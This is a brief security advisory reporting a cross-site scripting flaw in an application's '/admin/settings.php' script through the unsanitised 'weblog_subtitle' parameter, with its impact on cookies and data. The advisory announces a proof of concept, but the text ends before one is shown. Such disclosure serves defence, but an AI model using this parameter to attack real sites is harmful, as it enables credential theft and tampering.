Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/settings.php" script to properly sanitize user-supplied input in 
"weblog_subtitle" variable. Successful exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
